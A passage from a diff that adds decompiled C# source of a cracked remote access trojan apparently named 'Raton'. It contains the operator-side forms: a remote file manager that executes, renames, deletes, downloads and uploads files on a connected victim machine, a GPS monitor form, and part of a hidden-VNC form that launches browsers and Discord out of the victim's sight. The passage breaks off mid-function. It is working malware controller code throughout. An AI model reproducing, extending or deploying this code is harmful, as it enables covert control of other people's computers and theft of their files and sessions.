pack.SetBool("Folder", selectedItem.SubItems[this.columnHeader3.Index].Text == "Folder");
|
||||
pack.SetString("Old", (string) selectedItem.Tag);
|
||||
pack.SetString("New", Path.Combine(this.textBox1.Text, $"{text}_{num++.ToString()}"));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.Goto(this.textBox1.Text);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "Rename");
|
||||
pack.SetBool("Folder", this.aeroListView1.SelectedItems[0].SubItems[this.columnHeader3.Index].Text == "Folder");
|
||||
pack.SetString("Old", (string) this.aeroListView1.SelectedItems[0].Tag);
|
||||
pack.SetString("New", Path.Combine(this.textBox1.Text, text));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.Goto(this.textBox1.Text);
|
||||
}
|
||||
}
|
||||
|
||||
private void openFileToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "Open");
|
||||
pack.SetString("Target", (string) selectedItem.Tag);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void newFolderToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
inputDialog inputDialog = new inputDialog();
|
||||
inputDialog.Text = "New folder";
|
||||
inputDialog.label1.Text = "Please enter the name of the folder";
|
||||
inputDialog.textBox1.Text = "Folder_" + Helpers.Random(3);
|
||||
if (inputDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
string text = inputDialog.textBox1.Text;
|
||||
if (string.IsNullOrEmpty(text))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "NewFolder");
|
||||
pack.SetString("Target", Path.Combine(this.textBox1.Text, text));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.Goto(this.textBox1.Text);
|
||||
}
|
||||
|
||||
private void aeroListView1_MouseDoubleClick(object sender, MouseEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.aeroListView1.SelectedItems[0].SubItems[this.columnHeader3.Index].Text == "Folder")
|
||||
{
|
||||
this.Goto((string) this.aeroListView1.SelectedItems[0].Tag);
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "Open");
|
||||
pack.SetString("Target", (string) selectedItem.Tag);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
if (!(selectedItem.SubItems[this.columnHeader3.Index].Text == "Folder"))
|
||||
{
|
||||
string str1 = Helpers.Random();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Download");
|
||||
pack.SetString("File", (string) selectedItem.Tag);
|
||||
pack.SetString("DUID", str1);
|
||||
string str2 = "File ID: ";
|
||||
if ((ratonFIle) Application.OpenForms[str2 + str1] == null)
|
||||
{
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = str2 + str1;
|
||||
ratonFile.Text = str2 + str1;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.Show();
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void uploadToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
OpenFileDialog openFileDialog = new OpenFileDialog();
|
||||
openFileDialog.Multiselect = true;
|
||||
openFileDialog.Filter = "All files (*.*)|*.*";
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
foreach (string fileName1 in openFileDialog.FileNames)
|
||||
{
|
||||
string file = fileName1;
|
||||
string fileName = Path.GetFileName(file);
|
||||
string Duid = Helpers.Random();
|
||||
long fileSize = new FileInfo(file).Length;
|
||||
ratonFIle fileForm = (ratonFIle) Application.OpenForms["File ID: " + Duid];
|
||||
if (fileForm == null)
|
||||
{
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = "File ID: " + Duid;
|
||||
ratonFile.Text = "File ID: " + Duid;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.UID = this.SillyClient.uid;
|
||||
ratonFile.FileName = Path.GetFileName(file);
|
||||
ratonFile.FileSize = fileSize;
|
||||
fileForm = ratonFile;
|
||||
fileForm.Show();
|
||||
Task.Run((Action) (() =>
|
||||
{
|
||||
if (fileSize > 0L)
|
||||
{
|
||||
int num1 = 1;
|
||||
if (fileSize < 1048576L /*0x100000*/)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Upload");
|
||||
pack.SetBool("isCompleted", false);
|
||||
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + Duid + num1.ToString())));
|
||||
pack.Set("FileBytes", File.ReadAllBytes(file));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
fileForm.TotalFileSize += fileSize;
|
||||
}
|
||||
else
|
||||
{
|
||||
long length = fileSize;
|
||||
byte[] buffer = new byte[1048576 /*0x100000*/];
|
||||
using (Stream stream = (Stream) File.OpenRead(file))
|
||||
{
|
||||
int num2;
|
||||
while ((num2 = stream.Read(buffer, 0, buffer.Length)) > 0)
|
||||
{
|
||||
if (this.SillyClient.isConnected())
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Upload");
|
||||
pack.SetBool("isCompleted", false);
|
||||
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(Path.GetFileName(file) + Duid + num1++.ToString())));
|
||||
pack.Set("FileBytes", buffer);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
fileForm.TotalFileSize += (long) buffer.Length;
|
||||
length -= (long) num2;
|
||||
if (length < 1048576L /*0x100000*/)
|
||||
buffer = new byte[length];
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "Upload");
|
||||
pack1.SetString("DUID", Duid);
|
||||
pack1.SetBool("isCompleted", true);
|
||||
pack1.SetString("FileName", fileName);
|
||||
pack1.SetLong("FileSize", new FileInfo(file).Length);
|
||||
pack1.SetString("FilePath", this.textBox1.Text);
|
||||
pack1.SetInt("TempCount", num1);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
}
|
||||
Thread.Sleep(800);
|
||||
this.Invoke((Delegate) (() => fileForm.flatProgressBar1.Value = 100));
|
||||
fileForm.timer2.Stop();
|
||||
fileForm.Status("Our rats are confirming...");
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void aeroListView2_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.aeroListView2.SelectedItems.Count == 0)
|
||||
return;
|
||||
this.Goto(this.aeroListView2.SelectedItems[0].Text);
|
||||
}
|
||||
|
||||
private void aeroListView3_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.aeroListView3.SelectedItems.Count == 0)
|
||||
return;
|
||||
this.textBox1.Text = this.aeroListView3.SelectedItems[0].Tag.ToString();
|
||||
this.Goto(this.textBox1.Text);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter1 = new AeroListView.ListViewColumnSorter();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter2 = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonFIleManager));
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter3 = new AeroListView.ListViewColumnSorter();
|
||||
this.textBox1 = new TextBox();
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
this.columnHeader4 = new ColumnHeader();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.openFileToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.renameToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.deleteToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.toolStripSeparator1 = new ToolStripSeparator();
|
||||
this.downloadToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.uploadToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.toolStripSeparator2 = new ToolStripSeparator();
|
||||
this.newFolderToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.toolStripSeparator3 = new ToolStripSeparator();
|
||||
this.goBackToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.reloadToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.button2 = new RgbBuildButton();
|
||||
this.aeroListView2 = new AeroListView();
|
||||
this.columnHeader5 = new ColumnHeader();
|
||||
this.imageList2 = new ImageList(this.components);
|
||||
this.aeroListView3 = new AeroListView();
|
||||
this.columnHeader6 = new ColumnHeader();
|
||||
this.label1 = new Label();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.Location = new Point(14, 10);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.ReadOnly = true;
|
||||
this.textBox1.Size = new Size(951, 22);
|
||||
this.textBox1.TabIndex = 2;
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[4]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2,
|
||||
this.columnHeader3,
|
||||
this.columnHeader4
|
||||
});
|
||||
this.aeroListView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(362, 40);
|
||||
viewColumnSorter1.Order = SortOrder.None;
|
||||
viewColumnSorter1.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter1;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(804, 545);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.aeroListView1.MouseDoubleClick += new MouseEventHandler(this.aeroListView1_MouseDoubleClick);
|
||||
this.columnHeader1.Text = "Name";
|
||||
this.columnHeader1.Width = 243;
|
||||
this.columnHeader2.Text = "Date";
|
||||
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader2.Width = 218;
|
||||
this.columnHeader3.Text = "Type";
|
||||
this.columnHeader3.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader3.Width = 171;
|
||||
this.columnHeader4.Text = "Size";
|
||||
this.columnHeader4.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader4.Width = 170;
|
||||
this.contextMenuStrip1.ImageScalingSize = new Size(24, 24);
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[11]
|
||||
{
|
||||
(ToolStripItem) this.openFileToolStripMenuItem,
|
||||
(ToolStripItem) this.renameToolStripMenuItem,
|
||||
(ToolStripItem) this.deleteToolStripMenuItem,
|
||||
(ToolStripItem) this.toolStripSeparator1,
|
||||
(ToolStripItem) this.downloadToolStripMenuItem,
|
||||
(ToolStripItem) this.uploadToolStripMenuItem,
|
||||
(ToolStripItem) this.toolStripSeparator2,
|
||||
(ToolStripItem) this.newFolderToolStripMenuItem,
|
||||
(ToolStripItem) this.toolStripSeparator3,
|
||||
(ToolStripItem) this.goBackToolStripMenuItem,
|
||||
(ToolStripItem) this.reloadToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(141, 262);
|
||||
this.openFileToolStripMenuItem.Image = (Image) Resources.Execute_16x;
|
||||
this.openFileToolStripMenuItem.Name = "openFileToolStripMenuItem";
|
||||
this.openFileToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.openFileToolStripMenuItem.Text = "Execute";
|
||||
this.openFileToolStripMenuItem.Click += new EventHandler(this.openFileToolStripMenuItem_Click);
|
||||
this.renameToolStripMenuItem.Image = (Image) Resources.Rename_16x;
|
||||
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
|
||||
this.renameToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.renameToolStripMenuItem.Text = "Rename";
|
||||
this.renameToolStripMenuItem.Click += new EventHandler(this.renameToolStripMenuItem_Click);
|
||||
this.deleteToolStripMenuItem.Image = (Image) Resources.DeleteAllRows_16x;
|
||||
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
|
||||
this.deleteToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.deleteToolStripMenuItem.Text = "Delete";
|
||||
this.deleteToolStripMenuItem.Click += new EventHandler(this.deleteToolStripMenuItem_Click);
|
||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||
this.toolStripSeparator1.Size = new Size(137, 6);
|
||||
this.downloadToolStripMenuItem.Image = (Image) Resources.ClearCollection_ActionGray_16x;
|
||||
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
|
||||
this.downloadToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.downloadToolStripMenuItem.Text = "Download";
|
||||
this.downloadToolStripMenuItem.Click += new EventHandler(this.downloadToolStripMenuItem_Click);
|
||||
this.uploadToolStripMenuItem.Image = (Image) Resources.Copy_16x;
|
||||
this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem";
|
||||
this.uploadToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.uploadToolStripMenuItem.Text = "Upload";
|
||||
this.uploadToolStripMenuItem.Click += new EventHandler(this.uploadToolStripMenuItem_Click);
|
||||
this.toolStripSeparator2.Name = "toolStripSeparator2";
|
||||
this.toolStripSeparator2.Size = new Size(137, 6);
|
||||
this.newFolderToolStripMenuItem.Image = (Image) Resources.FolderBottomPanel_16x;
|
||||
this.newFolderToolStripMenuItem.Name = "newFolderToolStripMenuItem";
|
||||
this.newFolderToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.newFolderToolStripMenuItem.Text = "New folder";
|
||||
this.newFolderToolStripMenuItem.Click += new EventHandler(this.newFolderToolStripMenuItem_Click);
|
||||
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
||||
this.toolStripSeparator3.Size = new Size(137, 6);
|
||||
this.goBackToolStripMenuItem.Image = (Image) Resources.Backwards_disabled_16x;
|
||||
this.goBackToolStripMenuItem.Name = "goBackToolStripMenuItem";
|
||||
this.goBackToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.goBackToolStripMenuItem.Text = "Go back";
|
||||
this.goBackToolStripMenuItem.Click += new EventHandler(this.goBackToolStripMenuItem_Click);
|
||||
this.reloadToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.reloadToolStripMenuItem.Name = "reloadToolStripMenuItem";
|
||||
this.reloadToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.reloadToolStripMenuItem.Text = "Reload";
|
||||
this.reloadToolStripMenuItem.Click += new EventHandler(this.reloadToolStripMenuItem_Click);
|
||||
this.imageList1.ColorDepth = ColorDepth.Depth32Bit;
|
||||
this.imageList1.ImageSize = new Size(16 /*0x10*/, 16 /*0x10*/);
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_arrow_reset_24_filled;
|
||||
this.button1.IconSize = 16 /*0x10*/;
|
||||
this.button1.IconSpacing = 3;
|
||||
this.button1.Location = new Point(1074, 3);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(92, 31 /*0x1F*/);
|
||||
this.button1.TabIndex = 4;
|
||||
this.button1.Text = "Reload";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.button2.Cursor = Cursors.Arrow;
|
||||
this.button2.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button2.ForeColor = Color.White;
|
||||
this.button2.Icon = (Image) Resources.ic_fluent_backspace_24_filled;
|
||||
this.button2.IconSize = 16 /*0x10*/;
|
||||
this.button2.IconSpacing = 3;
|
||||
this.button2.Location = new Point(971, 3);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(97, 31 /*0x1F*/);
|
||||
this.button2.TabIndex = 5;
|
||||
this.button2.Text = "Go back";
|
||||
this.button2.Click += new EventHandler(this.button2_Click);
|
||||
this.aeroListView2.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView2.Columns.AddRange(new ColumnHeader[1]
|
||||
{
|
||||
this.columnHeader5
|
||||
});
|
||||
this.aeroListView2.FullRowSelect = true;
|
||||
this.aeroListView2.HideSelection = false;
|
||||
this.aeroListView2.Location = new Point(14, 40);
|
||||
viewColumnSorter2.Order = SortOrder.None;
|
||||
viewColumnSorter2.SortColumn = 0;
|
||||
this.aeroListView2.LvwColumnSorter = viewColumnSorter2;
|
||||
this.aeroListView2.MultiSelect = false;
|
||||
this.aeroListView2.Name = "aeroListView2";
|
||||
this.aeroListView2.Size = new Size(342, 277);
|
||||
this.aeroListView2.SmallImageList = this.imageList2;
|
||||
this.aeroListView2.TabIndex = 6;
|
||||
this.aeroListView2.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView2.View = View.Details;
|
||||
this.aeroListView2.SelectedIndexChanged += new EventHandler(this.aeroListView2_SelectedIndexChanged);
|
||||
this.columnHeader5.Text = "Drives";
|
||||
this.columnHeader5.Width = 340;
|
||||
this.imageList2.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList2.ImageStream");
|
||||
this.imageList2.TransparentColor = Color.Transparent;
|
||||
this.imageList2.Images.SetKeyName(0, "df0nr8k-b42efd9c-be6b-41c0-9659-817a6d429cbe.png");
|
||||
this.imageList2.Images.SetKeyName(1, "USerWin.png");
|
||||
this.aeroListView3.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView3.Columns.AddRange(new ColumnHeader[1]
|
||||
{
|
||||
this.columnHeader6
|
||||
});
|
||||
this.aeroListView3.FullRowSelect = true;
|
||||
this.aeroListView3.HideSelection = false;
|
||||
this.aeroListView3.Location = new Point(14, 323);
|
||||
viewColumnSorter3.Order = SortOrder.None;
|
||||
viewColumnSorter3.SortColumn = 0;
|
||||
this.aeroListView3.LvwColumnSorter = viewColumnSorter3;
|
||||
this.aeroListView3.MultiSelect = false;
|
||||
this.aeroListView3.Name = "aeroListView3";
|
||||
this.aeroListView3.Size = new Size(342, 262);
|
||||
this.aeroListView3.SmallImageList = this.imageList2;
|
||||
this.aeroListView3.TabIndex = 7;
|
||||
this.aeroListView3.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView3.View = View.Details;
|
||||
this.aeroListView3.SelectedIndexChanged += new EventHandler(this.aeroListView3_SelectedIndexChanged);
|
||||
this.columnHeader6.Text = "Quick access";
|
||||
this.columnHeader6.Width = 340;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(741, 297);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(82, 20);
|
||||
this.label1.TabIndex = 8;
|
||||
this.label1.Text = "Loading...";
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(1181, 604);
|
||||
this.Controls.Add((Control) this.aeroListView3);
|
||||
this.Controls.Add((Control) this.aeroListView2);
|
||||
this.Controls.Add((Control) this.button2);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonFIleManager);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonFIleManager);
|
||||
this.Load += new EventHandler(this.ratonFIleManager_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,79 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonGPS
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonGPS : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
private Timer timer2;
|
||||
public Label label1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonGPS()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonGPS_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonGPS));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.timer2 = new Timer(this.components);
|
||||
this.label1 = new Label();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.timer2.Interval = 10000;
|
||||
this.label1.BackColor = Color.Transparent;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(0, 219);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(656, 23);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "Please wait...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(656, 453);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonGPS);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonGPS);
|
||||
this.Load += new EventHandler(this.ratonGPS_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,433 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonHVNC
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using CustomControls;
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonHVNC : Form
|
||||
{
|
||||
private int hvncWidth;
|
||||
private int hvncHeight;
|
||||
private float hvncScale;
|
||||
private IContainer components;
|
||||
private FlatComboBox flatComboBox1;
|
||||
private RgbBuildButton button1;
|
||||
private Timer timer1;
|
||||
public PictureBox VNCBox;
|
||||
private CustomSwitch customSwitch1;
|
||||
private Label label1;
|
||||
private Panel panel1;
|
||||
private Label label3;
|
||||
private Label label2;
|
||||
private MenuStrip menuStrip1;
|
||||
private ToolStripMenuItem toggleConfigurationToolStripMenuItem;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public int HVNCWidth
|
||||
{
|
||||
get => this.hvncWidth;
|
||||
set => this.hvncWidth = value;
|
||||
}
|
||||
|
||||
public int HVNCHeight
|
||||
{
|
||||
get => this.hvncHeight;
|
||||
set => this.hvncHeight = value;
|
||||
}
|
||||
|
||||
public float HVNCScale
|
||||
{
|
||||
get => this.hvncScale;
|
||||
set => this.hvncScale = value;
|
||||
}
|
||||
|
||||
public int FPS { get; set; }
|
||||
|
||||
public ratonHVNC()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonHVNC_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.VNCBox.Focus();
|
||||
this.timer1.Start();
|
||||
Task.Run((Action) (() =>
|
||||
{
|
||||
Task.Delay(2000);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 4);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}));
|
||||
}
|
||||
|
||||
private (int x, int y) ScaleMouse(int clientX, int clientY)
|
||||
{
|
||||
return ((int) ((double) clientX / (double) this.VNCBox.Width * (double) this.HVNCWidth / (double) this.HVNCScale), (int) ((double) clientY / (double) this.VNCBox.Height * (double) this.HVNCHeight / (double) this.HVNCScale));
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void ratonHVNC_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 1);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.flatComboBox1.SelectedItem == null)
|
||||
return;
|
||||
switch (this.flatComboBox1.SelectedItem.ToString())
|
||||
{
|
||||
case "Open Brave":
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "HVNC");
|
||||
pack1.SetInt("Action", 13);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
break;
|
||||
case "Open Chrome":
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "HVNC");
|
||||
pack2.SetInt("Action", 8);
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
break;
|
||||
case "Open Discord":
|
||||
Pack pack3 = new Pack();
|
||||
pack3.SetString("Packet", "HVNC");
|
||||
pack3.SetInt("Action", 14);
|
||||
this.SillyClient.Send(pack3.Pacc());
|
||||
break;
|
||||
case "Open Edge":
|
||||
Pack pack4 = new Pack();
|
||||
pack4.SetString("Packet", "HVNC");
|
||||
pack4.SetInt("Action", 10);
|
||||
this.SillyClient.Send(pack4.Pacc());
|
||||
break;
|
||||
case "Open File explorer":
|
||||
Pack pack5 = new Pack();
|
||||
pack5.SetString("Packet", "HVNC");
|
||||
pack5.SetInt("Action", 4);
|
||||
this.SillyClient.Send(pack5.Pacc());
|
||||
break;
|
||||
case "Open Firefox":
|
||||
Pack pack6 = new Pack();
|
||||
